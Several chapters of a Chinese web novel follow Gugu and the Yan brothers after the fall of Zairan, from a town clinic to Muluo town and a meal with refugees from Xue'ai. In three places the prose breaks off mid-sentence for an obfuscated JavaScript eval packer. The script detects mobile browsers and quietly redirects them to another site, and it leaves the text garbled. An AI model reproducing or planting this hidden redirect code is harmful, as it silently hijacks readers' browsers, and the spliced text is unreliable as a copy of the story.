名字一出,古古一下子反应过来那个熟稔地展开救治的男人是谁。那是燕戎铭,燕无的三哥,一个自从古古进入王城后就从未见过的燕家人,也是燕无最少提及的一个兄长。 此刻,燕戎铭已经上了马,远眺着南方的平原,似乎在判断着前进的方向。半晌,他转过头来,对身后的两人催促,“快点。” 古古跑回黑马身边,尽她最快的速度攀上两个她那么高的生灵,虽然困难,但是她已经来来回回上马下马许多次了,怎么借力都一清二楚,没两下就稳稳当当骑在了上面。 准备完毕,几声吆呵,三匹马步伐跃动,踏上了前往南部城镇的路。 不到半日的路程后,他们来到了一个傍山而建的镇上,燕戎铭似乎很了解镇子的构造,没有停下问路,直接就带着他们去往了镇上的医馆。 将马停在门前,燕戎铭火速进馆,不稍半晌就带着一个医师模样的人出来,那人还提着一个能躺人的木架。于是乎,他们将伤员运进了馆内,经室内几个阴森曲折的拐弯后,进了一间有窗的房。 整个过程中,古古一直跟在他们后面,看到燕戎铭自然而然和那些医师一同钻进了房间里,木门砰一声关上,将后来者隔绝在外,只剩交流伤情的话语声传了出来。 “放心交给戎铭和医师吧。”一同跟过来的燕戎陵说,厚实的手掌搭在古古薄薄一扇肩上,轻轻按压了两下,似是觉察到了她的惴惴不安,“他不会让四弟出事。” 馆内气味有些刺鼻,刺激着古古的神经,饶是燕戎陵那么说,她还是没办法放松下来,盯着那道紧闭的木门,想要穿过它看到里面的情况。 燕戎陵走到一旁,坐在墙下的长木椅上。男人看了眼古古的模样,叹了口气,转移话题说道:“所以,甾染具体发生了什么,和我说说?” 听到燕戎陵的问询,古古有些回过神来,她收回了焦灼的视线,靠在木门旁的墙边,两只手臂抱着自己,只因又感觉有些冷了,“很复杂……不过现在想起来,一切都有千丝万缕的联系。” “你指什么?”燕戎陵问。 “戎陵哥知道杜光欧这号人吗?”古古问。 燕戎陵沉吟片刻,道:“是那个……杜义的儿子吧。” “是。你离开甾染后,他出现了,向燕无借兵。”古古道。 “四弟借了吗?”燕戎陵问。 “没有。”古古答。 燕戎陵模样没多意外,“在这件事上,他还真是一点也不通融啊。” 古古:“杜光欧说,血皑内部发生了动乱,当前,是他的继母掌控着那座城市。” “黎礼?” “戎陵哥知道她?”古古问。 “很难不知道吧。”燕戎陵露出一副沉浸在过往回忆中的表情,不过,这表情没持续多久,他回过神来继续说道,“不管这个,然后呢?” “这次进攻甾染的敌军,其统帅恐怕就是黎礼。”古古道。 122. 不敢言说的真相2 燕戎陵皱起了眉头,他暂且没有发表任何看法,显然在思考这其中的前因后果。 古古继续说道:“他们……有一种新型武器,一种木制铁边的管状武器,能够进行远距离的攻击。很多士兵都是死在这种武器之下,燕无恐怕也是被它击中了。” “我在山上看到甾染内部的许多墙壁在坍塌,”燕戎陵道,目光低垂,“城里的人们在奔跑,不过,在山顶上,他们就只是一些看不太清的小点。” 古古想像了出来燕戎陵所描述的场景,不禁有些不是滋味,但她一时什么感想也没有,接连的震惊已经让她失去了共情的能力。 “连父王也……”燕家的大哥几乎是嗟叹一般地说,“我看到他从城墙上掉下去了,但我亲眼看见的时候,甚至不知道那是谁。如果不是戎铭回来转达发生了什么,我都不知道那是我见到他的最后一面。” 燕雁站在城墙上的那一幕,至今还在古古的眼前,武王所说的那些话,至今依然游荡在脑海的某处。那是一个时代开辟者的落幕,他没有在旧王城里安度晚年,而是被敌人从睡梦里拖出来,衣衫不整,站在城墙上示众。敌人将他推下了城墙,让他作为一个时代而落幕,武王燕雁的已经成为了过去,敌人在借用他的死向所有人传达这样的信息。 余光中,古古看见燕家大哥闭上了眼睛,低头,伸出两指,指背抵在自己的额前,嘴里在无声地嘀咕着什么。那看上去像是某种祈祷的姿势,衬得做出这个动作的人十分虔诚。 古古从未在甾染看到过这种祭奠故人的手势,她想,那应该是牧盟的某种传统。她知道,燕家的大哥在甾染刚刚易主的时候便离开去往了牧盟,在那里,他接受新的文化,认识新的人,过着新的生活。每一次男人回到甾染的时候,古古都能在他身上感受到令人欢欣的、陌生的气息,显然,那是牧盟的生活带给他的。 而他现在能够保持如此的平静,她想,也得益于牧盟的文化的感染。如果一个甾染人得知自己的父亲逝去,他没有如此镇静表达思念的机会,他会哭天喊地,悲情不已,在痛哭声中接过先辈身上的责任。往往,在这种时候,丧亲者总是有很多观众,那些留恋的、惋惜的、誓要为逝者实现抱负的话,究竟是说给旁人听的,自己听的,还是给那不再闻其声的逝者听的,便不得而知了。 相反,或许只有像燕戎陵这样,在一个没有观众的地方,说的那些只有自己能听见的话,才是真正想要向逝者的生命所要传达的内容。 燕戎陵睁开了眼睛,表情肃穆,说道:“父王将自己投入战争的漩涡,在那种惊涛骇浪之中,没有人能够全身而退。但是也不是没有转机,如果当年我不离开的话……” 他说着,模样有些懊悔。后面的话没有说出口,木房的门被从内部推开,打断了他的话。 燕戎铭走了出来,衣袖上沾着些血,手却是干净的。他目光落在自家大哥的身上,似是听到了对方刚才的话,接话道:“你不离开,下场就会和那个父王一样。这不,燕无这小子已经尝到帮他的苦果了。” 古古见他出来,忙问道:“燕无的情况怎么样?” 燕戎铭把自己卷起来的袖子放下去,平静地说:“死不了了。” 古古走到门旁,想要进去看看燕无的情况。但是燕戎铭没有为她让路,男人高大的身影投下一片阴影,影子的主人说道:“缝合的场面可不好看。” “请让我进去。”古古对燕家的三哥说。 燕戎铭没听她的,转手就关了门,“刚才那么说只是为了让话听起来好听点,我总不能说你进去是在碍手碍脚,担误医师的操作吧。” 听他这么一说,古古反而是没有开门打扰的念头了。 燕戎陵有些无奈地看着自家的三弟,“你这不是已经把伤人的话说出来了吗。” “是吗。”燕戎铭不以为意,坐在燕戎陵的边上,“你还是和以前一样喜欢替各种各样的人着想啊。” “我也没想到你开始治病救人了。”燕家大哥说。 燕戎铭沉默了半晌,摆弄了一番染血的袖口,来回看着那上面的红色渍迹,“等燕无醒了,我就走。” “你不和他说两句?”燕戎陵问,“你离开甾染已经十年了吧。” 燕戎铭低着头,专注地抠起一块血痂。他声音有些闷,听着却又像毫不在意似的,“那小子看到我只会气得血液倒流昏厥过去。” “怎么会。” “他现在这幅惨状可没少我的功劳。” “我不觉得他记恨你。” 衣袖蹭得有些泛白起灰,燕家老三拍了一下,对燕戎陵的话不置可否,“你将来什么打算?燕雁死了,甾染又变成了那副模样。” “……没想好。”燕戎陵答。 “不缩回你那乌龟壳里去?你那个镇子叫什么来着……” “暮落镇。” “对,暮落镇。”燕戎铭想起来什么一般,一拍手道,“反正老家伙死了是自作自受,甾染怎么样和我们又没有关系,这之前在做什么,之后继续做就是了。” 古古一直守在门口,注意力大多在房间内的情况上,时断时续地听着兄弟二人的交谈。当下,听到燕戎铭那些话之后,她不由得转过头来,想看燕戎陵是什么么应。令她有些讶异的,燕家大哥对于燕戎铭刚才几番并不尊重燕雁的话语并没有表示出来什么,只是很平静地听了进去。 “……你说,戎铭,”燕戎陵长呼了一口气,靠在身后的墙壁上,“如果一个人当真为了一个人的解脱而感到欣慰,那么,那个人死去的仇,他还要替他报吗?” “你想为燕雁复仇?” “我只是觉得我应该这么做。”燕戎陵说。 燕戎铭思虑片刻,“要我说,你还是过你自己的日子去吧。替他报仇又有什么用,弄得自己遍体鳞伤不说,老东西也不会突然活过来对你说谢谢。” “可我已经逃避很久了。”燕戎陵闭上眼睛,有些惆怅地说道,“自从我们和杜家分家以来,父王就失去了理智,跑到甾染那种战争关隘,一守就是二十四年。我想,他从来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191304|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有放弃过杜义,所以才会担起盯住北方摄文的责任,防止他们入侵南陆,毕竟那样首当其冲会受到危胁的就是离白鸣谷最近的血皑城。我看出他的决心和隐蔽的癫狂,所以带着人离开了他。在那之前我一直伴他身侧征战南北,那之后我却弃离了他。” “这有什么不对?”燕戎铭听完了大哥的那番话,颇不在意地说,“攻下血皑之前,你们是在为了自己的事业而战,但那之后性质就变了。老东西只是为了自己的私欲才赖在甾染不走,他把甾染建设成了一个兵力输送源,一道防止北地入侵的壁垒,而非一座能让人正常生存的城池。不光如此,他还要我们继续替他守着那战争要塞,一辈子也别想安宁。我们不就是看出了他的真实目的,所以才离开了他吗?” “可我是长子,我理应……” “没有什么理应不理应的。”燕戎铭说道,他站起来,眼里是清冷如山泉的光,“在接受任何身份之前,人应该先认清自己是谁。” 燕家老三站在他的大哥面前,自上而下看着他,“大哥,你从一开始就很胆小。早些年打仗的时候,人们都在幻想胜利之后能得到什么好处,只有你害怕战争,总是在想什么时候能不再颠沛流离,可以有一间自己的房子,住在里面的时候不用担心明天会身首异处。你就是这样的性格,一个比起打仗更喜欢种地的胆小鬼,但就是因为你的忧虑,才会有那么多同样爱好和平的人跟着你,那些人最终才能避开甾染这次的无妄之灾。” 燕戎陵无言,没有反驳三弟有关他胆小的那段言论,也没有对那后半句话发表什么感想。 “我也是一样的。”燕戎铭有些叹息地说,看向廊道尽头的一扇窗,“之前认不清自己是个没什么耐心的人,总以为性格改正了,日子就能过得舒坦一些,所以燕雁要我留在甾染继承他的王位的时候,我没拒绝。然而,那段日子里,实际我只是在不断麻木地重复着,我以为自己变得更有沉着稳重,更有耐性了,可是有一天,我看着刚出生的女儿,容貌憔悴的妻子,仍然意气风发的燕雁,天真的燕无,阿谀奉承的下人,无战不欢的军队,我还是……感到无比地厌倦。又一次,燕雁因为募兵的事而叱责我,说我招来的都是些臭鱼烂虾。那个时候我就在想,人是没法否定自己是谁的,我果然还是厌弃燕雁赋予我的身份,所以那之后,我一声不吭地离开了。” 晌午的光穿透毛玻璃,将燕戎铭藏蓝的外袍镀上一层冲突的色泽,使那清冷的人看上去要融化了似的,“也就只有二哥,从一开始就遵遁自己的本心,靠那一张欺瞒众生的嘴,给自己找了个外交官的闲职,过得相当快活。 “而燕无……看他现在活成这副半点自我都没有的模样,当年我真应该一鼓作气,把他也……” 听到这里,古古看向燕戎铭,男人的后半句话没有说出来,但是对于已经知道燕家过往的她来说,她知道那是什么意思。 没等说些什么,房间门开了,一股血腥气从中飘散而来,门里走出一个医师,目光落在房外几人的身上,道:“进去看看吧。” 123. 不敢言说的真相3 “我走了。”燕戎铭摆摆手,往医馆的出口走。 直到此刻,一直安静的燕戎陵开口了,“你不对他解释,他就永远也不知道你是怎么想的。” “下辈子吧。”燕戎铭头也不回,身影消失在了拐角。 古古走进了房间,一股混着药材和血腥味的气味窜进鼻翼,她看到燕无躺在一张铺着麻垫的硬床上,男人的上身缠着褐色的绑带,肩上披着一件沾血的外裳,眼睛微张着,似乎已经醒来了。 古古走了过去,坐在床边,她握住了燕无的手,轻轻唤着他的名字,“燕无,你怎么样?” 燕无的眼珠动了动,缓缓地,它看向了女人。那目光死气沉沉,即便是看到了她,也没有透出一丝光来,像是不认识她,不在乎她是谁一般。男人只是看了一眼,便收回了目光,盯着一片虚无,没有任何的回应。 古古求助地看向一旁的人,“医师,他怎么了?” 一旁,一个体态臃肿却坚实的女人在收拾着带血的杂物,她听到声音,转头看了燕无一眼,没事人一般说道:“刚才给他用了麻药,一时清醒不过来。” 这时候,燕戎陵也走了进来,就坐在床边一张没有靠背的椅子上。燕无转头看他,还是那副谁也不认识的模样。过了好一阵子,医生清理干净了房间,等里面就剩下燕家兄弟和古古三人之后,清明才渐渐找上了燕无的眼睛。他像是从一种朦胧懵懂的状态里清醒过来,视线不再那么飘乎,切实地落在房间里另外两人的脸上。 燕无想要挣扎着坐起来,但似乎没有这么做的力气,只能仰躺在床上,迷茫地盯着古古,问:“我这是在哪?” “医馆。你受伤了,燕无,不过现在已经没事了。” “我睡了多久?” “还不到半天呢。”古古说道。见男人似乎没有什么大问题,她的心这才落下来,拢着燕无的手,时不时握一下,以来提醒自己对方就在眼前,活生生的。 燕无四处看了看,盯着燕戎陵,表情更加茫然了,“为什么大哥在这?” 燕戎陵咳嗽了一声,回答他的疑问,“我有点事,在甾染附近徘徊了一阵子,然后……碰巧遇到了你和古古。” 他没有提到燕戎铭的事,具体是因为什么,古古有些头绪,或许是不想刺激到燕无,毕竟,燕无如果听到救了他的人是那个三哥之后,保不准会有什么过激地反应。 燕无像是还没有拾掇好自己的精神,东一句西一句地问道:“甾染怎么样了?” “情况不太好。”燕戎陵回复自己的四弟说。 “将军呢?” 古古:“一将军和五将军带着人撤退了。” “我为什么没和他们在一起?”燕无问,神情迷茫,“我们不是在攻城吗?” 看燕无的样子,他似乎有些记不清受伤前后的事情了。古古向他解释道:“甾染陷落了,燕无。黎军已经把它攻下来了。” 听到这里,燕无张了张嘴,似乎还想问什么。但是,他突然想起来什么一般,脸上的震惊渐渐消失,记忆的潮水淹没了他,让他的神情一度变为一片死海。这之后,他不再问话了。 一旁,燕戎陵道:“甾染现在那样子是回不去了,你们先和我一起走。” 古古想起刚才燕戎陵和燕戎铭的交谈,问道:“要去刚才提到的那个暮落镇吗?” “嗯,是。”燕戎陵肯定道,“镇子临近牧盟的法陆贡,需要什么东西都能弄到,环境也算宜人。先去休养一番生息,之后再做打算吧。” 古古回过头来,尽力扬起一个笑脸,说:“燕无,你听到了吗?我们要去你最向往的牧盟了。” 对面的人没有反应,男人像是陷入了回忆一般,不再对当下的事情有任何回应,垂着眼躺在床上,默不作声。 古古只当是战败对他的打击太大,毕竟,甾染从未沦落到如此地步,燕无担任内承以来,也从来尝过如此败绩。她握着对方的手,试图将令人安心一些热量传递过去,“之后我们一起想办法吧。” 燕无抽回了那只被古古握住的手,挡在自己的眼睛上,那是什么意思,不言而喻。 燕戎陵站了起来,往房间外走去,“路途很远,我去看看能不能买辆车。” 那之后,古古便静默地陪伴在燕无的床边。男人似乎久久不能从打击中恢复过来,一直是那副一蹶不振的模样。 不过一阵,燕戎陵回来了,说已经买到了车,等燕无再休息恢复一阵,他们就启程出发。 又过了一两日,他们离开了这个临时停靠的小镇,踏上了前往暮落镇的路程。整个过程中,燕无未曾开口,他没有哪怕一次表达过自己的意愿,只是身边的人让他做什么,他就做什么,什么想法都没有一般。 去往牧盟的路程有些漫长,燕戎陵照顾着车上的伤者,而没有把马车驶得太快。 一路上在临近的乡镇走走停停,终于,在一个多月后的某个夜晚,他们抵达了一个静谧的镇子。 燕戎陵介绍说,这里是暮落镇,他是这里的镇长,此处也就是他们的目的地了。 夜晚,镇子里十分安静,一条河流在旁边经过,一想便知,那条河流一定就是这个镇子赖以生存的根本。 燕戎陵带着他们来到了镇子上最大的建筑当中,那是一座石头砌成的楼房,三层高,一扇扇窗户里透出烛火的光晕。 燕戎陵带他们来到了二楼,那里有几间客房。夜已深,这个时间下人们都睡了,燕戎陵便自己动手拾掇了起来,给燕无和古古腾出了一间屋子。 简单的洗漱过后,几人回到了各自的起居室。这一晚上,古古睡得不怎么踏实。历经长途跋涉,总算能安定地休息一番,可是一旦放松下来,前些日子发生的一切就开始在脑海里回荡。 先是甾染城前的动乱,护卫丁森带着她和苏月逃亡,大军回到甾染,却被敌军大规模地屠杀,甾染烧起了熊熊大火,武王燕雁摔下城墙,而后是全面的落败。一夜之间,他们的处境居然已经天翻地覆。 她又想起发现燕无奄奄一息的那一刻,那一个瞬间,她真的以为自己马上就要失去他了。那种强烈的不安,让她直到现在还心有余悸。 在清醒与睡梦的间隙,古古的脑海里不断重复着这些内容,第二天醒来,她总觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203741|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己一直也没有睡着,脑袋里依然在不知疲倦地旋转,就好像身体已经陷入了深眠,但是头脑使终保持着异样的清醒。 她起床,往另一张床上看去,只见燕无睁着眼,无神地盯着房顶的横梁,眼睛下方挂着轻微的黑眼圈,那让他原本的惆怅的眼睛更加憔悴。 古古询问道:“你一夜没睡吗?” 燕无眨了眨眼,垂眸,目光落在窗外,那是一片晴朗的澄空,没有云朵,也不是很蓝。只是那么盯着它看,便能知道它的寒冷与高远。 “睡不着。”燕无如此说道。 “起来去吃点东西吧。”古古提议。 “你去。” “那我给你带点东西回来。” 燕无没有再表态,那个意思仿佛在说,古古给他带回来什么,他就吃什么,如果什么也没带回来,他就这么饿着也无所谓。男人一副兴致恹恹的模样,似乎对什么事都不感兴趣,也打不起精神。 看他这副模样,古古心里很不是滋味,她能说的话在路上已经对燕无都说过了,可还是没法让男人从之前的失败之中振作起来。她现在能做的,也只剩等他自己好起来了。 古古转身打算推门离开,与此同时,外面响起了脚步声。木门被从外部拽开,燕戎陵高大的身姿出现在门口,似乎没注意到自己把小个子女人的路堵得死死的,就那么停在了门梁下,“醒了?感觉怎么样?” 这话是对燕无说的,后者看了自家大哥一眼,移开视线,简单回了一句“还好”。这一个多月以来,燕无一直是这副模样,连燕戎陵都拿他没有办法。 燕家大哥叹了口气,说道:“镇子的西北角有一片荒地,土质又软又差,种不出什么东西来,盖房子也不安全,我一直想把那里改建成一个马场,但是又苦于没有人手,有经验的人太少了。燕无,你要是愿意经营的话,那地方就归你。” 古古一听,也对燕无说道:“这不是正好吗,燕无。你不是一直想拥有一个自己的马场?” 燕无盯着古古,眼神如一潭没有细流经过的湖,里面是无波的死水,所有的沉淀发生在那之中,一丝感情的踪迹也寻觅不见,“好像是吧。” 燕戎陵道:“这么形容你可能也没有概念,一起去看看吧。” 古古小声询问他,“好吗?” 燕无脸上没什么表情,只是点了点头。 “马场离这里有些距离,你们先吃个早饭吧。”说着,燕戎陵转身,取下他挂在门旁的一顶防风皮帽。 见他要走,古古问:“你要去哪,戎陵哥?” 燕戎陵整理了一番帽檐下不安分的发丝,回答道:“小八……我是指副镇长,他说前一阵镇上来了一批从血皑过来的逃难者,我想去会会他们。” 这时候,燕无兀然发话,“血皑……那个黎礼就是血皑人。” 他突然的发言让屋里另外两个人都有些吃惊,难得这人对什么话题感兴趣。燕戎陵没有错过这个机会,接话道:“对,黎礼是血皑城的,我的本意也是想向他们打探一下她的情报。” 燕无从床上翻身而下,步伐带风,“我跟你一起去。” 124. 不敢言说的真相4 不清楚男人这是突然怎么了,但他难得生出些精神。燕戎陵欣然应答,“那走吧。” 于是乎,几人离开了镇长楼,在副镇长“小八”的带领下,一行人往那血皑人的住处前去。 来到了镇子上,古古第一次见到了它在白天的样子。镇子说不上小,但也不是很阔气,能看出似乎有几回扩建的痕迹,外围的房屋普遍比内部的要新。 一条蜿蜒的河流经过镇子,许多镇民的活动路线都和它和息息相关。镇里的人大多流转于一条拥挤狭窄的商街,里面有肉铺,有卖水产的,食物大多是鱼肉蛋等等,还有少量从更东边运过来的浆果和麦子。整体看起来,镇子还算富裕。 在副镇长的带领下,几人来到了住宅区。这里处在镇子的中心,无论去哪里都十分方便。他们来到了其中一间看起很新的石房子前,房子后面还有个院子,一侧有个干净的鹿棚,里面停着一白一棕两头温顺的驯鹿。 副镇长走上前去,敲了敲门,“有人在家吗?” 一阵轻巧的脚步声传来,门从内部打开,一个金发的女人出现在众人的视野。她看到门前堆着这么多人,不由得发出一声感慨,“我的天呐。” “怎么了嫂子?”房里传来一个女人的问讯声。 “谁来了?”紧接着是另一个男人。 副镇长给身后的几人让出了位置,朝那屋里的人挥手,说道:“克拉娜,先前说给你介绍镇长,这位就是了。” 不大的房门挤出来几个脑袋,一个卷发的女人和红发的男人探出头来,好奇地打量着来客。 古古小声地吸了口气,她认得他们,那个卷发的血皑女性贵族,红发的西索男人,董莉莉和葛马,他们怎么会在这里? 两人也看到了燕无和古古,发出了小声的惊叹。 燕戎陵似是没有觉察出来双方的相认,站出来,和屋里的几人招呼,“几位好,希望你们在这里还住得习惯……” 这时,燕无突然打断了燕戎陵,颇为不解地道:“哥,他们怎么会在你这?” 燕戎陵迷惑,“嗯?” 红发男人发出怪异的声音,向他身边的女人问道:“啊?我这是在哪?” “你在暮落镇,葛马。”董莉莉波澜不惊地回答他。 葛马来回看着几个人,模样夸张,“哦,要不是你告诉我,我还以为睡了一觉,被人贩子送回甾染去了呢。” 屋里传来另一个年轻女人的声音,接话说:“放心吧,没有人想拐你这么大一个臭男人的。” “怎么说话呢,我很抢手的。”葛马回过头抱怨。 董莉莉正视着眼前的几人,模样一如初见时端庄,“没想到又见到你们了,甾染的内承,还有……古古。” 燕无回答:“我已经不是了。” 燕戎陵来回看着交流的人们,渐渐地,他像是这才反应过来,嘴巴张大了,“四弟,你们认识?” 燕无回答他,“在甾染的时候遇到过。” 葛马眼睛大睁,视线在燕戎陵和燕无之间打量,恍然大悟地说:“原来是一家人啊!难怪呢,我就说之前明明没见过镇长,刚才第一次见却觉得亲切,原来是因为见过你亲人,哈哈。” 古古也没想到,燕戎陵指的血皑人居然是他们。看到这两人的身影,一些旧时的回忆涌上来,她不自主地向他们问道:“最后一次我们分别的时候,我记得你们是追着杜光欧走了。最后找到了吗?” 董莉莉摇摇头,提起这个话题的时候,女人的神情就会变得低落,“没。” 古古:“是吗……” 另一边,葛马模样悲愤,说道:“他跑到摄文去了!我们没有通行凭证,过不去。而且,暮落镇还有个小祖宗在等着,我们没时间在外面——哎哟,痛痛痛,你跳起来揪我耳朵干什么!?” 葛马像个被压弯的稻草一样,只见他身后有一个女孩,模样和董莉莉有几分相似,但气质更加狠厉上些。女孩如是说:“你们还真是压线回来啊,我行李都收拾好了,都打算出镇子去找你们了,你们却大摇大摆地回来了。” 两人在门口打闹,本就人多,一时乱得不可开交。董莉莉回过身去制止道:“夜明,别欺负葛马了。” 女孩说:“可是他很好欺负。” 葛马:“很好欺负是什么意思?” 这时候,燕戎陵咳嗽了一声,将这场乱象打断了,“我没想到大家都认识,这下省去了介绍的功夫。” “是啊,我们还真是有缘分。”董莉莉道。 葛马道:“欸,我们这么多人,咱们是不是可以凑一桌吃点好的聊聊天?” 那名叫夜明的女孩接话,似乎对与葛马拌嘴这件事乐此不疲,“你脑子里只有这些东西吗?” 对面的燕戎陵却是给了葛马台阶,“我也赞同,难得相遇一场。” “我也觉得这是个好主意。”董莉莉道。 “呃……”和葛马斗嘴的女孩看了一眼和自己有着相似面庞的女人,有些无奈,不再提出意见了。 “哎呀,我正愁最近食材堆积得太多,凭我们几个人的胃根本消耗不了。”金发的克拉娜说,“要是各位不嫌弃的话,就在我们这小地方吃一顿吧。” “恭敬不如从命。”燕戎陵说道。 镇长都发话了,其他人自然也没有意见。 克拉娜热情洋溢地笑起来,她高兴地说道:“快进来吧,不要在门口站着了。” 几人依次进入了住宅,这是个看上去很温暖的住所,墙边摆着装点用的绿色植物,大厅连着三道门,通往后厨的门开着,能看到里面的灶台,工具非常齐全,有切肉的案板,储水的瓦罐,捣谷子的簸箕,一切家常的东西应有尽有。而灶台前面就是一扇巨大的窗户,阳台的一角摆着一个盆栽,里面似乎养着一些苔类的观赏性植物,四处都充满了一副生活的气息。 古古看着,心想这里一定有一位大厨,不然不会拥有这么整洁、齐全的厨房。 副镇长靠在临近后厨的梁柱上,说道:“镇上有更大的房子,你们就喜欢自己的这个小地方。” 董莉莉笑起来,回答说:“住习惯了嘛。” 葛马去后院劈柴,名叫夜明的女孩在烧水,一个小男孩安静地帮克拉娜处理麦子和生肉,古古也加入了他们之中。而燕家的两个兄弟去了后院,开始收拾庭院。 不得不说,古古在这里找到一丝熟悉的、温暖的感觉,在王城里住的多了,什么都是由下人伺候,她已经很久没有自己动手,更不要说和这么多人一起配合,她在这个临时的群体中找到了一丝久违的家的感觉。 过程中,人们你一言我一语地交流着,古古了解到那个总和葛马拌嘴的女孩全名叫董夜明,是董莉莉的亲妹妹。而金发的女人是他们共同朋友的妻子,那个一直黏在克拉娜身边的小男孩是她的亲生儿子白祁。 不过多久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214121|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,后院收拾好了,一张由两个桌子拼成的大木桌摆在中央,正待菜肴的铺满。他们没有那么多凳子,便去邻居家借了一些。又过了一阵,董家姐妹陆陆续续将出炉的食物端到饭桌上,用盖子将它们盖起来,以免冷空气过早地带走了饭菜的温度和香气。 终于,一切准备就绪,一伙构成有些奇特的人们在饭桌前坐了下来,这顿饭忙了挺久,人们都饿坏了,便没再说什么客套话,其乐融融地享用了起来。 饭桌上,人们有一搭没一搭地聊着,其中,发言次数最多的当属一直停不下嘴的葛马,仿佛不管嘴里塞多少东西,都无法制止他说话一般,“贵人往摄文去了,而众所周知,想要到去摄文,就得穿越横古山脉。想要穿越横古山脉,白鸣谷是唯一的通路。不过嘛,据我所知,还有另一条更隐蔽的路线。” 葛马总是在说到一半的地方停下来,专注地啃起手里的牛骨棒,似乎没有人捧场,他就不会继续说下去。 而燕戎陵十分亲和地接起葛马的话,让他不至于冷场,“还有第二条路?” 葛马模样颇为洋洋得意,鼻尖顶着食物的残渣而不自知,“通路在东边,一个名叫远海的地方。” 董莉莉也加入了话题,“那地方我去过,但它是一条小路,比白鸣谷还狭窄。重要的是,涨潮之后,那里是无法过人的。” “那就够了呀!”葛马兴致勃勃地道,“不一定非要走陆路,海上过去不就行了?” 董莉莉支吾一声,“倒也是个方法。” 这时候,董夜明插话道:“姐不会跟你去任何地方了。” 葛马说道:“可是我们已经知道了贵人的方位,难道就这么不管了吗?” 董夜明没好气地说道:“你们上次不是已经和他碰头了吗?他们把你抛下了,这是你们的原话。他都这么对你们了,你们还热脸贴冷屁股追着他干什么?” 董莉莉岔开了话题,“这件事情之后再说,先吃饭吧。” 她说完,葛马和董夜明纷纷不再就这件事争论。 桌上安静了一阵子,重新打破寂静的是燕戎陵,他终于就来拜访这些人的目的展开了对话,“我听说你们在曾在血皑千均一发,最终还是顺利逃了出来。” 葛马接话,面色感叹,“是啊,那时候好几次都以为要死了!” 燕戎陵转向正题,问道:“你们对敌人有什么了解吗?” 董莉莉的声音有些沉闷,但还是一五一十地告知说:“敌人是黎礼,老城主杜义的妻子,但是,听说她从嫁人的第一天就已经在盘算着如何颠覆血皑城的政权。” 燕无突然加入了交谈,“你们是从那个黎礼的手中逃出来的。” 董莉莉:“是的。” “你们见过黎军使用的武器吗?”燕无问道。 古古朝燕无看过去,却惊觉他脸上遍布阴霾,目光执着且骇人。 “我们——”董莉莉刚想说什么,但是被葛马打断了。 “没,我们没见过。”葛马摇头说,模样笃定,“只有贵人……我是说杜光欧见过那种武器。” 燕无沉默半晌,低垂其眸,沉声说道:“他见过,可当初却没有透露给我,只是说了一些让人摸不到头脑的话。如果他能坦诚地告诉我,甾染就会对战争有所准备,而不至于沦落到这种地步。” 董莉莉和葛马交换了一下视线,有些局促,像不知道该说什么做什么,只能低头继续吃饭。 125. 不敢言说的真相5 古古见气氛不太对劲,赶忙转移了话题,“把杜光欧追回来之后,你们打算怎么做?” “不知道呢。”葛马苦恼地说道,“总之还是见到他再说,现在还是先想办法前往摄文。” “你们需要白鸣谷通行凭证的话……”古古刚想说自己可以帮他们,可是转念一想,她现在已经不是甾染的经贸师了,只是个流落异乡、甚至需要别人提供住处的可怜人,哪有什么能力帮助对方。 葛马似乎没有觉察到古古的小心思,拍了一下自己的胸脯,说道:“没关系,我不需白鸣谷的通行凭证,备选方案多着呢。就算没法从远海划船穿过横古山脉,我也还知道别的路!” 时至当下,已经有人吃完了饭,陆陆续续下桌,小孩子吃完饭困了,就回卧房去睡觉。饭桌上,燕无还在捧着自己的碗吃东西,他本来吃饭就慢,菜样做得多,挑来挑去吃得就更慢了。古古虽然已经饱了,但怕男人再有什么异样的情绪,便留在饭桌上陪他。 这时,董夜明的声音从屋内传来,“姐,那个夏未信送你的盆栽好像要死了,它是不是不能晒太阳啊,我把它换去个避光的地方。” 董莉莉听见自家妹妹的声音,撂下餐具,往屋子里走,“怎么会,前一阵不还活得好好的。” 这边,燕无还在慢条斯理地吃东西,古古便在一旁和葛马继续着饭后闲聊,“还有其它穿过横古山脉的通路?” “哼哼,只有我知道那地方在哪。”葛马又开始卖关子了。 “说嘛,葛马。” 红发男人一副神秘的模样,凑近古古,压低了声音说道:“那地方名叫元城。” 这名字一出,古古微微张开嘴,脸上是怔愣的表情。 他说……元城? 旁边传来椅子擦地的声音,燕戎陵起身离席,往屋内走去,“需要帮忙收抬吗?” 舀水声和克拉娜的声音一并从室内传来,“各位休息就好。” 